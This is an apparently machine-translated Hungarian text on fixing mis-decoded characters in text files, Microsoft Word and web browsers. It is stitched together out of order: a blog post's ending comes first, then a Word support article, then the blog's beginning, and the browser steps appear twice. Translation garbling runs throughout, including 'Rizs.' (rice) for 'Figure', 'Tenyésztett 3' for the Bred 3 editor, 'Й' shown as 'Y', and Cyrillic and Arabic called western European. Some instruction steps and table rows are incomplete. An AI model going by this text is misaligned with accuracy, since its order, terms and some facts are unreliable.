Rizs. 7. Word - a fájl normál (a kódolás megfelelően van kiválasztva)!

A kódolás módosítása a böngészőben

Ha a böngésző tévesen határozza meg egy weboldal kódolását, pontosan ugyanazokat a hieroglifákat fogja látni (lásd 8. ábra).

A webhely megjelenítésének javítása: módosítsa a kódolást. Ez a böngésző beállításaiban történik:

Google Chrome: beállítások (jobb felső ikon)/speciális beállítások/kódolás/windows-1251 (vagy UTF-8);
Firefox: bal oldali ALT gomb (ha a felső panel ki van kapcsolva), majd oldalnézet / kódolás / válassza ki a kívántat (leggyakrabban Windows-1251 vagy UTF-8);
Opera: Opera (piros ikon a bal felső sarokban) / oldal / kódolás / válassza ki a kívántat.

Így ebben a cikkben a hibásan meghatározott kódoláshoz kapcsolódó hieroglifák megjelenésének leggyakoribb eseteit elemeztük. A fenti módszerek segítségével megoldhatja az összes fő problémát a helytelen kódolással.

Amikor megnyit egy szöveges fájlt a Microsoft Wordben vagy más programban (például olyan számítógépen, amelynek operációs rendszerének nyelve eltér attól, amelyen a fájl szövege íródott), a kódolás segít a programnak meghatározni, hogyan jelenítse meg a szöveget. a képernyőn, hogy olvasható legyen.

Ebben a cikkben

Általános információk a szövegkódolásról

A képernyőn szövegként megjelenő szöveg valójában számértékként van tárolva egy szövegfájlban. A számítógép a számértékeket látható karakterekre fordítja. Ehhez egy kódolási szabványt használnak.

A kódolás egy olyan számozási séma, amelyben egy készlet minden szöveges karakteréhez egy adott numerikus érték van hozzárendelve. A kódolás tartalmazhat betűket, számokat és egyéb karaktereket. A különböző nyelvek gyakran különböző karakterkészleteket használnak, ezért sok meglévő kódolást úgy terveztek, hogy a megfelelő nyelvek karakterkészleteit képviselje.

Különböző kódolások a különböző ábécékhez

A szövegfájllal mentett kódolási információkat a számítógép a szöveg képernyőn történő megjelenítésére használja. Például a "cirill (Windows)" kódolásban az "Й" karakter a 201-es számértéknek felel meg. Amikor megnyit egy ilyen karaktert tartalmazó fájlt egy "cirill (Windows)" kódolást használó számítógépen, a számítógép beolvassa a következőt: a 201-es szám és az "Y" jel látható.

Ha azonban ugyanazt a fájlt olyan számítógépen nyitják meg, amely alapértelmezés szerint más kódolást használ, akkor az ebben a kódolásban szereplő 201-es számnak megfelelő karakter jelenik meg a képernyőn. Például, ha a számítógépen használt kódolás "nyugat-európai (Windows)", akkor a cirill alapú forrásszövegfájl "Y" karaktere "É"-ként jelenik meg, mivel ez a karakter a 201-es számnak felel meg. kódolás.

Unicode: egyetlen kódolás a különböző ábécékhez

A szövegfájlok kódolásával és dekódolásával kapcsolatos problémák elkerülése érdekében elmentheti őket Unicode-ba. Ez a kódolás tartalmazza a legtöbb karaktert a modern számítógépeken általánosan használt összes nyelvből.

Mivel a Word Unicode alapú, a benne lévő összes fájl automatikusan ebben a kódolásban kerül mentésre. A Unicode fájlok bármely angol operációs rendszerű számítógépen megnyithatók, a szöveg nyelvétől függetlenül. Ezenkívül a nyugat-európai ábécében (például görög, cirill, arab vagy japán) nem található karaktereket tartalmazó Unicode-fájlok is tárolhatók egy ilyen számítógépen.

Kódolás kiválasztása fájl megnyitásakor

Ha a megnyitott fájl szövege hibás, vagy kérdőjelként vagy négyzetként jelenik meg, előfordulhat, hogy a Word helytelenül határozta meg a kódolást. Megadhatja a szöveg megjelenítéséhez (dekódolásához) használandó kódolást.

Nyisson meg egy lapot Fájl.

Kattintson a gombra Lehetőségek.

Kattintson a gombra Továbbá.

Ugrás a szakaszhoz Gyakoriakés jelölje be a négyzetet Megnyitáskor erősítse meg a fájlformátum konvertálását.

Jegyzet: Ha ez a jelölőnégyzet be van jelölve, a Word párbeszédpanelt jelenít meg Fájlkonverzió amikor megnyit egy nem Word-fájlt (vagyis olyan fájlt, amely nem rendelkezik DOC, DOT, DOCX, DOCM, DOTX vagy DOTM kiterjesztéssel). Ha gyakran dolgozik ilyen fájlokkal, de általában nem kell kódolást választania, feltétlenül kapcsolja ki ezt a lehetőséget, hogy ez a párbeszédpanel ne jelenjen meg.

Zárja be, majd nyissa meg újra a fájlt.

A párbeszédpanelen Fájlkonverzió tárgy kiválasztása Kódolt szöveg.

A párbeszédpanelen Fájlkonverzióállítsa be a kapcsolót Egyébés válassza ki a kívánt kódolást a listából.

A területen Minta

Ha szinte minden szöveg ugyanúgy néz ki (például négyzetek vagy pontok), előfordulhat, hogy a számítógépen nem a megfelelő betűtípus van telepítve. Ebben az esetben további betűtípusokat is telepíthet.

További betűtípusok telepítéséhez tegye a következőket:

Kattintson a gombra Rajtés válassza ki az elemet Kezelőpanel.

Tegye a következők egyikét:

Windows 7 rendszeren

A vezérlőpulton válasszon ki egy elemet Programok eltávolítása.

változás.

Windows Vista alatt

A vezérlőpulton válassza ki a részt Program eltávolítása.

A programok listájában kattintson a Microsoft Office vagy a Microsoft Word elemre, ha azt a Microsoft Office-tól külön telepítette, majd kattintson a gombra változás.

Windows XP alatt

A Vezérlőpulton kattintson az elemre Programok telepítése és eltávolítása.

Listázott Telepített programok kattintson a Microsoft Office vagy a Microsoft Word elemre, ha a Microsoft Office-tól külön lett telepítve, majd kattintson a gombra változás.

Csoportban A Microsoft Office telepítésének módosítása nyomja meg a gombot Adjon hozzá vagy távolítson el összetevőket majd kattintson a gombra Folytatni.

fejezetben Telepítési lehetőségek elem bővítése Közös irodai eszközök, és akkor - Többnyelvű támogatás.

Válassza ki a kívánt betűtípust, kattintson a mellette lévő nyílra, és válassza ki Fuss a számítógépemről.

Tanács: Szövegfájl egyik vagy másik kódolású megnyitásakor a Word a párbeszédpanelen meghatározott betűtípusokat használja Web-dokumentum-beállítások. (A párbeszédpanel megjelenítéséhez Web-dokumentum-beállítások, kattintson Microsoft Office gomb, majd kattintson Szóbeállításokés válasszon egy kategóriát Továbbá. fejezetben Gyakoriak nyomja meg a gombot Web-dokumentum-beállítások.) A lapon található opciók használatával Betűtípusok párbeszédablak Web-dokumentum-beállítások testreszabhatja a betűtípust az egyes kódolásokhoz.

Kódolás kiválasztása fájl mentésekor

Ha nem választ kódolást a fájl mentésekor, a rendszer Unicode-ot fog használni. Általános szabály, hogy a Unicode használata javasolt, mert a legtöbb nyelven a legtöbb karaktert támogatja.

Ha olyan programban tervezi megnyitni a dokumentumot, amely nem támogatja a Unicode-ot, kiválaszthatja a kívánt kódolást. Például egy angol operációs rendszeren létrehozhat egy hagyományos kínai dokumentumot Unicode használatával. Ha azonban egy ilyen dokumentumot egy olyan programban nyitnak meg, amely támogatja a kínai nyelvet, de nem támogatja a Unicode-ot, a fájl elmenthető "Kínai hagyományos (Big5)" kódolással. Ennek eredményeként a szöveg helyesen jelenik meg, ha a dokumentumot olyan programban nyitják meg, amely támogatja a hagyományos kínai nyelvet.

Jegyzet: Mivel a Unicode a legteljesebb szabvány, előfordulhat, hogy egyes karakterek nem jelennek meg, amikor más kódolásban menti a szöveget. Tegyük fel például, hogy egy Unicode-dokumentum héber és cirill szöveget is tartalmaz. Ha a fájlt "cirill (Windows)" kódolással menti, a héber szöveg nem jelenik meg, ha pedig "héber (Windows)" kódolással menti, akkor a cirill betűs szöveg nem jelenik meg.

Ha olyan kódolási szabványt választ, amely nem támogatja a fájl egyes karaktereit, a Word pirossal jelöli azokat. A fájl mentése előtt megtekintheti a szöveg előnézetét a kiválasztott kódolásban.

A fájl kódolt szövegként való mentése eltávolítja azt a szöveget, amelyhez a Symbol betűtípus ki van jelölve, valamint a mezőkódokat.

Kódolás kiválasztása

Nyisson meg egy lapot Fájl.

A terepen Fájl névírjon be egy nevet az új fájlnak.

A terepen Fájltípus válassza ki egyszerű szöveg.

Ha megjelenik egy párbeszédpanel Microsoft Office Word – Kompatibilitási ellenőrzés, nyomja meg a gombot Folytatni.

A párbeszédpanelen Fájlkonverzió válassza ki a megfelelő kódolást.

Szabványos kódolás használatához válassza ki a lehetőséget Windows (alapértelmezett).

Az MS-DOS kódolás használatához válassza ki a lehetőséget MS-DOS.

Más kódolás beállításához állítsa be a rádiógombot Egyébés válassza ki a kívánt elemet a listából. A területen Minta megtekintheti a szöveget, és ellenőrizheti, hogy helyesen jelenik-e meg a kiválasztott kódolásban.

Jegyzet: A párbeszédpanel átméretezésével nagyobbá teheti a dokumentum megjelenítési területét Fájlkonverzió.

Ha a "A pirossal kiemelt szöveget nem lehet megfelelően tárolni a kiválasztott kódolásban" üzenetet látja, válasszon másik kódolást, vagy jelölje be a négyzetet. Karaktercsere engedélyezése.

Ha a karakterhelyettesítés engedélyezve van, a nem megjeleníthető karakterek a kiválasztott kódolásban a legközelebbi egyenértékű karakterekre cserélődnek. Például az ellipszis helyére három pont, a sarok idézőjelek pedig egyenesekre cserélődnek.

Ha a kiválasztott kódolás nem tartalmaz egyenértékű karaktereket a pirossal kiemelt karakterekhez, akkor a rendszer kontextuson kívüliként (például kérdőjeleként) tárolja azokat.

Ha a dokumentumot olyan programban nyitják meg, amely nem tördeli a szöveget egyik sorból a másikba, akkor a dokumentumban kemény sortöréseket is beilleszthet. Ehhez jelölje be a négyzetet Sortörések beszúrásaés adja meg a kívánt törésszimbólumot (carriage return (CR), soremelés (LF) vagy mindkettő) a mezőben Végső sorok.

A Wordben elérhető kódolások keresése

A Word számos kódolást felismer, és támogatja a rendszerszoftverhez mellékelt kódolásokat.

Az alábbiakban a szkriptek és a hozzájuk tartozó kódolások (kódlapok) listája található.

Írásrendszer	Kódolások	Használt betűtípus
Többnyelvű	Unicode (UCS-2 big endian, big endian, UTF-8, UTF-7)	Szabványos betűtípus a Word lokalizált verziójának "Normál" stílusához
arab	Windows 1256, ASMO 708
kínai (egyszerűsítve)	GB2312, GBK, EUC-CN, ISO-2022-CN, HZ
Kínai (hagyományos)	BIG5, EUC-TW, ISO-2022-TW
cirill betűs	Windows 1251, KOI8-R, KOI8-RU, ISO8859-5, DOS 866
Angol, nyugat-európai és mások latin írásmódon alapulnak	Windows 1250, 1252-1254, 1257, ISO8859-x
görög

japán	Shift-JIS, ISO-2022-JP (JIS), EUC-JP
koreai	Wansung, Johab, ISO-2022-KR, EUC-KR

vietnami
indiai: tamil
indiai: nepáli	ISCII 57002 (dévanagari)
indiai: Konkani	ISCII 57002 (dévanagari)
indiai: hindi	ISCII 57002 (dévanagari)
indiai: asszámi
indiai: bengáli
indiai: gudzsaráti
indiai: kannada
indiai: Malayalam
indiai: oriya
indiai: marathi	ISCII 57002 (dévanagari)
indiai: pandzsábi
indiai: szanszkrit	ISCII 57002 (dévanagari)
indiai: telugu

Az indiai nyelvekhez operációs rendszer támogatása és megfelelő OpenType betűtípusok szükségesek.

Csak korlátozott támogatás érhető el nepáli, asszámi, bengáli, gudzsaráti, malajálam és orija nyelven.

Jó nap.

Valószínűleg minden PC-felhasználó találkozott már hasonló problémával: megnyit egy weboldalt vagy egy Microsoft Word dokumentumot - és szöveg helyett hieroglifákat lát (különféle "repedések", ismeretlen betűk, számok stb. (mint a bal oldali képen). ...)).

Hieroglifák szöveges fájlokban (.txt)

A legnépszerűbb kérdés. A helyzet az, hogy egy szöveges fájlt (általában txt formátumban, de ezek is formátumok: php, css, info stb.) el lehet menteni különféle kódolások.

Kódolás- ez egy olyan karakterkészlet, amely szükséges a szöveg bizonyos ábécé szerinti írásának teljes biztosításához (beleértve a számokat és a speciális karaktereket). További részletek erről itt: https://en.wikipedia.org/wiki/CharacterSet

Leggyakrabban egy dolog történik: a dokumentumot egyszerűen rossz kódolással nyitják meg, ami zavart okoz, és egyes karakterek kódja helyett másokat hívnak meg. Különféle érthetetlen karakterek jelennek meg a képernyőn (lásd 1. ábra) ...

Rizs. 1. Jegyzettömb - kódolási probléma

Hogyan kezeljük?

Véleményem szerint a legjobb megoldás egy fejlett jegyzettömb telepítése, mint például a Notepad++ vagy a Bred 3. Nézzük meg mindegyiket közelebbről.

Jegyzettömb++

A kódolásokat tekintve itt általában teljes a sorrend: van egy külön "Kódolások" rész (lásd 2. ábra). Csak próbálja meg megváltoztatni az ANSI-t UTF-8-ra (például).

A kódolás megváltoztatása után a szöveges dokumentumom normál és olvasható lett - a hieroglifák eltűntek (lásd 3. ábra)!

Rizs. 3. A szöveg olvashatóvá vált… Jegyzettömb++

Tenyésztett 3

Ha szöveg helyett hieroglifák a Microsoft Wordben

Az első dolog, amire figyelni kell, az a fájlformátum. A helyzet az, hogy a Word 2007-től kezdve megjelent egy új formátum - „docx”(Régebben csak „doc” volt). Általában az új fájlformátumok nem nyithatók meg a "régi" Wordben, de néha előfordul, hogy ezek az "új" fájlok a régi programban nyílnak meg.

Csak nyissa meg a fájl tulajdonságait, majd nézze meg a Részletek lapot (mint az 5. ábrán). Így megtudhatja a fájlformátumot (5. ábra - a fájl formátuma „txt”).

Ha a fájl formátuma docx – és régi Word-je van (2007 alatti verzió), akkor csak frissítse a Word-t 2007-re vagy újabbra (2010, 2013, 2016).

Következő a fájl megnyitásakor jegyzet(alapértelmezés szerint ez az opció mindig be van kapcsolva, kivéve persze, ha „nem érted, melyik szerelvény” - A Word ismét megkérdezi: milyen kódolással kell megnyitni a fájlt (ez az üzenet bármilyen „tippel” jelenik meg problémák a fájl megnyitásakor, lásd. 5. ábra).

Rizs. 6. Word - fájl konvertálás

Rizs. 8. a böngésző rossz kódolást észlelt

A webhely megjelenítésének javítása: módosítsa a kódolást. Ez a böngésző beállításaiban történik:

google chrome: opciók (ikon a jobb felső sarokban) / speciális beállítások / kódolás / Windows-1251 (vagy UTF-8);
Firefox: bal oldali ALT gomb (ha a felső panel ki van kapcsolva), majd oldalnézet / kódolás / válassza ki a kívántat (leggyakrabban Windows-1251 vagy UTF-8);
opera: Opera (piros ikon a bal felső sarokban) / oldal / kódolás / válassza ki a kívántat.

Hálás lennék a kiegészítésekért a témában. sok sikert 🙂